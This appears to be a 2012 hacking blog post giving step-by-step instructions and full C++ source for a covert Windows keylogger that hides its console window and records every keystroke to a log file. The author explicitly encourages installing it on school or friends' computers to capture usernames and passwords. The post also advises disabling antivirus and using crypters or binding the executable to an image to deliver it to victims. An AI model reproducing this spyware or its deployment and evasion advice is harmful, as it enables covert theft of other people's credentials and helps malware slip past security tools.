Sunday 15 July 2012

Keylogger - Create on your own

Hey Guys this time i am back with some coding part , hoping that you will like it .


Keystroke logging (more often called keylogging or "keyloggers") is the action of tracking (or logging) the keys struck on a keyboard , typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. 



There are various keyloggers available freely on internet , but one should not use them , because they are binded with many trojans and
viruses through which there can be any remote access to our system or our system could be harmed , thats why i prefer self made keylogger. 


Hey Guys this time i am back with some coding part , hoping that you will like it .


Keystroke logging (more often called keylogging or "keyloggers") is the action of tracking (or logging) the keys struck on a keyboard, typically in a covert manner so that the person using the keyboard is unaware that their actions are being monitored. 


There are various keyloggers available freely on internet , but one should not use them , because they are binded with many trojans and viruses through which there can be any remote access to our system or our system could be harmed , thats why i prefer self made keylogger. 


Hence today i will tell you the secret of making your own keylogger using C++ . It is going to be fun. You can install this spyware in your college/school or in your friend Computer system and get their username and passwords easily. So just follow these simple steps .


  1. Download and Install Dev C++ from here
 2. Go to File->New->Source file
    here you will see the blank screen :
    copy and paste the following code there
#include <iostream> 
using namespace std; 
#include <windows.h> 
#include <winuser.h> 
int Save (int key_stroke, char *file); 
void Stealth(); 
int main() 
{ 
Stealth(); 
char i; 
while (1) 
{ 
for(i = 8; i <= 190; i++) 
{ 
if (GetAsyncKeyState(i) == -32767) 
Save (i,"LOG.txt"); 
} 
} 
system ("PAUSE"); 
return 0; 
} 
/* *********************************** */ 
int Save (int key_stroke, char *file) 
{ 
if ( (key_stroke == 1) || (key_stroke == 2) ) 
return 0; 
FILE *OUTPUT_FILE; 
OUTPUT_FILE = fopen(file, "a+"); 
cout << key_stroke << endl; 
if (key_stroke == 8) 
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
else if (key_stroke == 13) 
fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32) 
fprintf(OUTPUT_FILE, "%s", " "); 
else if (key_stroke == VK_TAB) 
fprintf(OUTPUT_FILE, "%s", "[TAB]"); 
else if (key_stroke == VK_SHIFT) 
fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); 
else if (key_stroke == VK_CONTROL) 
fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); 
else if (key_stroke == VK_ESCAPE) 
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); 
else if (key_stroke == VK_END) 
fprintf(OUTPUT_FILE, "%s", "[END]"); 
else if (key_stroke == VK_HOME) 
fprintf(OUTPUT_FILE, "%s", "[HOME]"); 
else if (key_stroke == VK_LEFT) 
fprintf(OUTPUT_FILE, "%s", "[LEFT]"); 
else if (key_stroke == VK_UP) 
fprintf(OUTPUT_FILE, "%s", "[UP]"); 
else if (key_stroke == VK_RIGHT) 
fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); 
else if (key_stroke == VK_DOWN) 
fprintf(OUTPUT_FILE, "%s", "[DOWN]"); 
else if (key_stroke == 190 || key_stroke == 110) 
fprintf(OUTPUT_FILE, "%s", "."); 
else 
fprintf(OUTPUT_FILE, "%s", &key_stroke); 
fclose (OUTPUT_FILE); 
return 0; 
} 
/* *********************************** */ 
void Stealth() 
{ 
HWND Stealth; 
AllocConsole(); 
Stealth = FindWindowA("ConsoleWindowClass", NULL); 
ShowWindow(Stealth,0); 
}

     

3.Now compile the program using Ctrl+f9.
4. Now see the location where you saved the program file. There an additional file is created automatically with same name and having extension as .exe .

5. Double click on that . exe file .
6. And now everything is done , in the same location the program will generate a “Log.txt” file , where all the logs of computers are stored.
7. Just after copiling the program , the antivirus(if active) will give you alert message “SPYWARE” , so better is that you should turnoff your antivirus .
8. To prevent from antiviruses there are various available “Crypters” You can also bind the .exe file with image or any files and send it to your friend. 

If  you have physical access to your college/school system,then copy the exe file in that system and run it. 
This was just a simple keylogger , soon I will post about more efficient keylogger with Program code.
The end! Have a nice day…

Also visit  :-
                   
                       Steganography-How to hide a data behind a picture
                  BOOTABLE WINDOWS 7 USBFLASHDRIVE        
                       HOW TO HACK YOUR FRIEND'S PC THROUGH CHATING USING CMD
                       YAHOO ACCOUNTS HACK
                        Top 10 Hackers of all Time in the World- 2012
                        





Get this widget